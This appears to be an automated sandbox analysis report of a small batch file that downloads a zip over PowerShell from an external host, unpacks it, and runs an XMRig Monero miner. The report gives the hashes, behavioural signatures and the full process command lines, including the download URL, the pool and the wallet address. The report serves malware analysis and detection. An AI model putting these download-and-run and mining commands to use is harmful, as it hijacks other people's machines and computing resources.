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Analysis

  • max time kernel
    1797s
  • max time network
    1824s
  • platform
    windows10-1703_x64
  • resource
    win10-20230915-en
  • resource tags

    arch:x64arch:x86image:win10-20230915-enlocale:en-usos:windows10-1703-x64system
  • submitted
    14/10/2023, 06:30

General

  • Target

    tesy - Copy (5).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3000
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:760
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4380
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2964
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4496

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    e472b00750a15cc6b25da8fc3e80e17e

    SHA1

    8cfa4024b8441c041d341335be133f17acc7f0ff

    SHA256

    8a5126a2078a86bbcf0521c9eea49eaff2e1e81162e86a40f1e23fed4728af05

    SHA512

    f8b509cfe9f4d1a1a789017c2e54bbf949f0148d347848bb8779ad5cccd160245c34ff42857f2c41f305800093ad47705de025ed45cd64be5a153a871876bff1

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4tatefai.dhh.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\test.zip

    Filesize

    3.2MB

    MD5

    3238c0d25d84b6f0bb645bbb29cdbf61

    SHA1

    11ae550c8a82c0793862c366b92072ad7e18befe

    SHA256

    b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

    SHA512

    d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    170B

    MD5

    78657df2e34e338ff135d3dde69177bf

    SHA1

    d5048a4270b7ba599e941d26d61bfa2e8da31fce

    SHA256

    9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

    SHA512

    f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/760-25-0x00000131F0720000-0x00000131F0730000-memory.dmp

    Filesize

    64KB

  • memory/760-6-0x00000131F0720000-0x00000131F0730000-memory.dmp

    Filesize

    64KB

  • memory/760-7-0x00000131F0690000-0x00000131F06B2000-memory.dmp

    Filesize

    136KB

  • memory/760-10-0x00000131F09B0000-0x00000131F0A26000-memory.dmp

    Filesize

    472KB

  • memory/760-4-0x00000131F0720000-0x00000131F0730000-memory.dmp

    Filesize

    64KB

  • memory/760-30-0x00007FFFCDAA0000-0x00007FFFCE48C000-memory.dmp

    Filesize

    9.9MB

  • memory/760-3-0x00007FFFCDAA0000-0x00007FFFCE48C000-memory.dmp

    Filesize

    9.9MB

  • memory/4380-37-0x000002802EB80000-0x000002802EB90000-memory.dmp

    Filesize

    64KB

  • memory/4380-38-0x000002802EB80000-0x000002802EB90000-memory.dmp

    Filesize

    64KB

  • memory/4380-62-0x000002802EB80000-0x000002802EB90000-memory.dmp

    Filesize

    64KB

  • memory/4380-76-0x000002802EDF0000-0x000002802EE02000-memory.dmp

    Filesize

    72KB

  • memory/4380-89-0x000002802EDE0000-0x000002802EDEA000-memory.dmp

    Filesize

    40KB

  • memory/4380-35-0x00007FFFCDAA0000-0x00007FFFCE48C000-memory.dmp

    Filesize

    9.9MB

  • memory/4380-99-0x00007FFFCDAA0000-0x00007FFFCE48C000-memory.dmp

    Filesize

    9.9MB

  • memory/4496-127-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-138-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-105-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-106-0x0000029978CB0000-0x0000029978CD0000-memory.dmp

    Filesize

    128KB

  • memory/4496-107-0x0000029978C90000-0x0000029978CB0000-memory.dmp

    Filesize

    128KB

  • memory/4496-108-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-109-0x0000029978CB0000-0x0000029978CD0000-memory.dmp

    Filesize

    128KB

  • memory/4496-110-0x0000029978C90000-0x0000029978CB0000-memory.dmp

    Filesize

    128KB

  • memory/4496-111-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-112-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-113-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-114-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-115-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-116-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-117-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-118-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-119-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-120-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-121-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-122-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-123-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-124-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-125-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-126-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-103-0x0000029977350000-0x0000029977370000-memory.dmp

    Filesize

    128KB

  • memory/4496-128-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-129-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-130-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-131-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-132-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-133-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-134-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-135-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-136-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-137-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-104-0x00000299773A0000-0x00000299773E0000-memory.dmp

    Filesize

    256KB

  • memory/4496-139-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-140-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-141-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-142-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-143-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-144-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-145-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-146-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-147-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-148-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-149-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-150-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-151-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-152-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-153-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-154-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-155-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-156-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-157-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-158-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-159-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-160-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-161-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-162-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-163-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-164-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-165-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-166-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-167-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-168-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-169-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-170-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4496-171-0x00007FF6946A0000-0x00007FF6951A3000-memory.dmp

    Filesize

    11.0MB